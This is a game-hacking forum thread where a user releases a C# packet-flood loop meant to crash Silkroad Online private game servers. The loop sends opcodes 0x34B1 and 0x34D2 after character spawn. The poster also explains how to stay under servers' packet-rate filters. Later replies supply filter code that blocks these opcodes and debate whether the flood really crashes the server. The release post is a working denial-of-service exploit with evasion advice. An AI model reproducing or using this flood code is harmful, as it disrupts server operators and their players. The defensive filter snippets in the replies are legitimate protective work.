Register for your free account! | Forgot your password?

You last visited: Today at 20:48

  • Please register to post and access all features, it's quick, easy and FREE!

Advertisement



[Release] GameServer flood/crash exploit

Discussion on [Release] GameServer flood/crash exploit within the SRO PServer Guides & Releases forum part of the SRO Private Server category.

Reply
 
Old   #1
 
elite*gold: 0
Join Date: Dec 2016
Posts: 50
Received Thanks: 28
[Release] GameServer flood/crash exploit

blabla, new exploit, blis fix menz

Send this after 0x3013 S->C (or char_spawn packet)
It's flood based, required to be flood to crash GameServer, working with Packet Injector or Client less core.
Code:
            flood:
            int num = 0;
            int packet_count = 50;
            int cur_count = 0;
            int delay = 1;

            for (cur_count = 0; cur_count <= packet_count; cur_count++)
            {
                switch (num)
                {
                    case 0:
                        {
                            Packet packet = new Packet(0x34B1);
                            packet.WriteUInt8(9);
                            Agent.Send(packet);
                            num = 1;
                            break;
                        }
                    case 1:
                        {
                            Packet packet2 = new Packet(0x34D2);
                            packet2.WriteUInt8(5);
                            packet2.WriteUInt8(0);
                            Agent.Send(packet2);
                            num = 2;
                            break;
                        }
                    case 2:
                        {
                            Packet packet3 = new Packet(0x34D2);
                            packet3.WriteUInt8(5);
                            packet3.WriteUInt8(1);
                            Agent.Send(packet3);
                            num = 3;
                            break;
                        }
                    case 3:
                        {
                            Packet packet4 = new Packet(0x34D2);
                            packet4.WriteUInt8(5);
                            packet4.WriteUInt8(2);
                            Agent.Send(packet4);
                            num = 4;
                            break;
                        }
                    case 4:
                        {
                            Packet packet5 = new Packet(0x34D2);
                            packet5.WriteUInt8(5);
                            packet5.WriteUInt8(3);
                            Agent.Send(packet5);
                            num = 0;
                            break;
                        }
                }
                cur_count++;
            }

            if (cur_count >= packet_count)
            {
                Thread.Sleep(delay);
                goto flood;
            }
What it does?

Fuck y'all.
Drupanda is offline  
Thanks
6 Users
Old 06/15/2017, 15:45   #2
 
Worshiper's Avatar
 
elite*gold: 0
Join Date: May 2017
Posts: 1,081
Received Thanks: 224
Ty For Release it
Worshiper is offline  
Old 06/15/2017, 16:54   #3
 
elite*gold: 0
Join Date: Jun 2017
Posts: 5
Received Thanks: 1
Actually it won't work because most of the p-servers are using filter nowadays ..
Wisdom' is offline  
Old 06/15/2017, 18:49   #4

 
sarkoplata's Avatar
 
elite*gold: 166
Join Date: Apr 2009
Posts: 2,339
Received Thanks: 2,661
this doesn't actually crash the modules afaik, just spamming ctf/ba messages in game and ******* ctf
sarkoplata is offline  
Old 06/15/2017, 19:02   #5
 
ramy_11_1's Avatar
 
elite*gold: 0
Join Date: Feb 2013
Posts: 65
Received Thanks: 37
Fix:
ramy_11_1 is offline  
Thanks
4 Users
Old 06/15/2017, 20:48   #6
 
ILowe's Avatar
 
elite*gold: 0
Join Date: Mar 2012
Posts: 679
Received Thanks: 29
Quote:
Originally Posted by ramy_11_1 View Post
Fix:
good work bro

code ? paste pleas
ILowe is offline  
Old 06/15/2017, 21:48   #7
 
elmagico321's Avatar
 
elite*gold: 0
Join Date: Oct 2013
Posts: 663
Received Thanks: 209
Quote:
Originally Posted by ILowe View Post
good work bro

code ? paste pleas
here we go

Code:
 #region Closing ctf , arena and fortress exploit
if (packet.Opcode == 0x34B1 && !Main.absolute_bypass.Contains(this.username))
{
this.CleanClient();
continue;
}
if (packet.Opcode == 0x34D2 && !Main.absolute_bypass.Contains(this.username))
{
this.CleanClient();
continue;
}
if (packet.Opcode == 0x385F && !Main.absolute_bypass.Contains(this.username))
{
this.CleanClient();
continue;
}

#endregion
elmagico321 is offline  
Thanks
1 User
Old 06/16/2017, 10:18   #8
 
elite*gold: 0
Join Date: Oct 2008
Posts: 69
Received Thanks: 11
why it here ? " !Main.absolute_bypass.Contains(this.username) "

for GM ? or wht
utku1676 is offline  
Old 06/16/2017, 11:29   #9
 
elite*gold: 0
Join Date: Mar 2009
Posts: 291
Received Thanks: 164
Quote:
Originally Posted by ramy_11_1 View Post
Fix:
WTF is that code.. so turkish way to code something.
This can be simplified (and faster) to:

PHP Code:
#region Closing ctf , arena and fortress exploit
bool someShitBoolean Main.absolute_bypass.Contains(this.username);

if (!
someShitBoolean && (packet.Opcode == 0x34B1 || packet.Opcode == 0x34D2 || packet.Opcode == 0x385F)) {
    
this.CleanClient();
    continue;
}

#endregion 
M4n1ak is offline  
Thanks
4 Users
Old 06/16/2017, 22:29   #10
 
elite*gold: 0
Join Date: Dec 2016
Posts: 50
Received Thanks: 28
Quote:
Originally Posted by Wisdom' View Post
Actually it won't work because most of the p-servers are using filter nowadays ..
Yes it will, just send under the allowed packet limit second.

Quote:
Originally Posted by sarkoplata View Post
this doesn't actually crash the modules afaik, just spamming ctf/ba messages in game and ******* ctf
Look message count in GameServer, it will continue growing.
Drupanda is offline  
Old 06/17/2017, 02:59   #11
 
ramy_11_1's Avatar
 
elite*gold: 0
Join Date: Feb 2013
Posts: 65
Received Thanks: 37
Quote:
Originally Posted by M4n1ak View Post
WTF is that code.. so turkish way to code something.
This can be simplified (and faster) to:

PHP Code:
#region Closing ctf , arena and fortress exploit
bool someShitBoolean Main.absolute_bypass.Contains(this.username);

if (!
someShitBoolean && (packet.Opcode == 0x34B1 || packet.Opcode == 0x34D2 || packet.Opcode == 0x385F)) {
this.CleanClient();
continue;
}

#endregion 
i copy paste it from my old src.
i was disabled these opcodes about 2 years ago,
after 3DProgrammer released his arena bot tool.

did that code will be faster?
you should put the opcode checking case first to ignore checking username
into bypass list everytime with any opcode!
please edit yours too.

for who want fixing code (copy&paste)
here it is:

Code:
#region Closing ctf , arena and fortress exploit
if (packet.Opcode == 0x34B1 || packet.Opcode == 0x34D2 || packet.Opcode == 0x385F)
{
  	this.CleanClient(); // disconnect function as you call it in your src
  	continue;
}
#endregion
Quote:
Originally Posted by utku1676 View Post
why it here ? " !Main.absolute_bypass.Contains(this.username) "

for GM ? or wht
its admin bypass list, which added into a table or text file as you did.
if you don't have in your src something like this. just ignore it.
ramy_11_1 is offline  
Thanks
2 Users
Old 06/22/2017, 07:46   #12
 
elite*gold: 0
Join Date: Apr 2016
Posts: 289
Received Thanks: 67
Useless ! Guard will drop connect after floods
hoangphan7 is offline  
Old 06/23/2017, 12:29   #13
 
elite*gold: 0
Join Date: Dec 2016
Posts: 50
Received Thanks: 28
Quote:
Originally Posted by hoangphan7 View Post
Useless ! Guard will drop connect after floods
Only if you exceed the limit.
Drupanda is offline  
Old 08/11/2017, 21:21   #14
 
elite*gold: 0
Join Date: Jul 2013
Posts: 12
Received Thanks: 0
help me

Quote:
Originally Posted by M4n1ak View Post
WTF is that code.. so turkish way to code something.
This can be simplified (and faster) to:

PHP Code:
#region Closing ctf , arena and fortress exploit
bool someShitBoolean Main.absolute_bypass.Contains(this.username);

if (!
someShitBoolean && (packet.Opcode == 0x34B1 || packet.Opcode == 0x34D2 || packet.Opcode == 0x385F)) {
    
this.CleanClient();
    continue;
}

#endregion 
Where can I insert this code?
anhhoansro1 is offline  
Old 08/11/2017, 22:51   #15
 
sonzenbi's Avatar
 
elite*gold: 0
Join Date: Feb 2017
Posts: 188
Received Thanks: 120
Quote:
Originally Posted by anhhoansro1 View Post
Where can I insert this code?
Filter
sonzenbi is offline  
Reply


Similar Threads Similar Threads
[Release/ Discussion] New gateway/agentserver flood exploit.
05/15/2014 - SRO PServer Guides & Releases - 79 Replies
So. As most of you know, new flood exploit been discovered like 10 days ago and some people had it who were attacking others servers for anyhow. I thought about releasing it so we got more people looking for a fix instead of me having it without a real use since i couldn't come up with a fix on my own. Releasing it only makes it more messy but still better than having some servers attacked by the other people who got the exploit, now more server will be attacked but in same time a fix will...



All times are GMT +1. The time now is 20:49.


Powered by vBulletin®
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
SEO by vBSEO ©2011, Crawlability, Inc.
This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

Support | Contact Us | FAQ | Advertising | Privacy Policy | Terms of Service | Abuse
Copyright ©2025 elitepvpers All Rights Reserved.